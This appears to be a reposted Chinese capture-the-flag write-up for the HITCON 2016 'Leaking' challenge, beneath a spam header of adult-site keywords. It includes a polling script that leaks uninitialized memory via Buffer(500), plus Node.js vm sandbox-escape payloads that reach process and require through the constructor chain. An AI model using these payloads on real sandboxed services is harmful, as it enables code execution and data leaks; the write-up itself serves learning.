日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XCTF Leaking

發布時間:2024/3/7 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF Leaking 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[HITCON2016]Leaking

  • 題目
    • 淺談Node.js沙盒逃逸

題目

原題目來自HITCON 2016
題目如下
由于我還是個小白,經過漫長的翻查php手冊和查閱一些大佬的博客得知這是一題是關于Node.js沙盒逃逸的。其中var { VM } = require(“vm2”);是Node.js有關沙盒的代碼。在查閱大佬文章得知:在較早一點的 node 版本中 (8.0 之前),當 Buffer 的構造函數傳入數字時, 會得到與數字長度一致的一個 Buffer,并且這個 Buffer 是未清零的。8.0 之后的版本可以通過另一個函數 Buffer.allocUnsafe(size) 來獲得未清空的內存。
然后通過腳本,找到內存泄漏時執行的eval()函數,得到flag。

import requests import time url = 'http://your ip:port/?data=Buffer(500)' response = '' while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(response)break

淺談Node.js沙盒逃逸

VM簡介
在一些日常開發中有時候為了追求靈活性或降低開發難度,會在業務代碼里直接使用 eval/Function/vm 等功能,其中 eval/Function 算是動態執行 JS,卻無法屏蔽當前執行環境的上下文,但 node.js 里提供了 vm 模塊,相當于一個虛擬機,可以讓你在執行代碼時候隔離當前的執行環境,避免被惡意代碼攻擊。

官方文檔原話:一個常見的用例是在不同的 V8 上下文中運行代碼。 這意味著被調用的代碼與調用的代碼具有不同的全局對象。可以通過使對象上下文隔離化來提供上下文。 被調用的代碼將上下文中的任何屬性都視為全局變量。 由調用的代碼引起的對全局變量的任何更改都將會反映在上下文對象中。

逃逸原理

苦于我還是初學者,對于js的代碼不是特別了解,于是到網上找到一段逃逸示例的講解:

const vm = require("vm"); const ctx = {}; vm.runInNewContext('this.constructor.constructor("return process")().exit()',ctx ); console.log("Never gets executed.");

以上代碼示例中的this指向ctx并通過原型鏈的形式拿到沙盒外的Funtion實現逃逸,并執行逃逸后的JS代碼。JS 里所有對象的原型鏈都會指向Object.prototype,且Object.prototype和Function之間是相互指向的,所有對象通過原型鏈都能拿到Function,最終完成沙盒逃逸并執行代碼。逃逸后代碼能夠執行如下代碼拿到 require,從而并加載其余模塊性能

const vm = require("vm"); const ctx = {console, }; vm.runInNewContext(`var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();console.log(require('fs')); `,ctx );

沙盒執行上下文是隔離的,但可通過原型鏈的形式獲取到沙盒外的 Function,從而實現逃逸,拿到全局數據。
參考文章來源:
node.js 沙盒逃逸分析
xctf攻防世界Leaking wp

總結

以上是生活随笔為你收集整理的XCTF Leaking的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。